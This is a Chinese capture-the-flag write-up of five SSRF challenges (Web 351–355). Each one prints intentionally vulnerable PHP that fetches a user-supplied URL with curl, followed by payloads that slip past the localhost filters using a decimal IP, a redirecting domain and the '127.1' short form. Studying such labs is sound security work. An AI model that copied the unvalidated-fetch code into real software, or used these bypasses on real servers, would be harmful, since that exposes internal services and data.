Web 351
一、源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
curl_init函数将初始化一个新的会话,返回一个CURL句柄供curl_setopt(), curl_exec(),和 curl_close() 函数使用。
curl_setopt函数为给定的cURL会话句柄设置一个选项。 参考:
curl_exec函数执行一个cURL会话 参考:
curl_close函数关闭一个cURL会话 参考:
代码的大致意思应该就是向POST传入的url请求资源,大概吧...
二、解法
直接访问flag.php
尝试请求本地的flag.php
POST url=127.0.0.1/flag.php
Web 352
一、源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
二、解法
第一个if:url必须要有http或https协议
第二个if:过滤带有localhost或127.0.0.1的url
绕过方式:对127.0.0.1进行进制转换
POST url=http://2130706433/flag.php 等还有很多
Web 353
一、源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);//抓取URL并把它传递给浏览器
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
二、解法
正则过滤了localhost、127、.0、。
依然可以利用进制转换绕过
POST url=http://2130706433/flag.php
Web 354
一、源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
二、解法
正则过滤了localhost和0,1,。且限制只能使用http协议
网上存在一个名为 sudo.cc 的服务,当访问该服务时会自动重定向到127.0.0.1,这个方法可以在过滤localhost或127.0.0.1时使用
POST url=http://sudo.cc/flag.php
Web 355
一、源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
二、解法
要求host的长度小于等于5,可以用127.1替换127.0.0.1,效果是一样的
POST url=http://127.1/flag.php
参考文章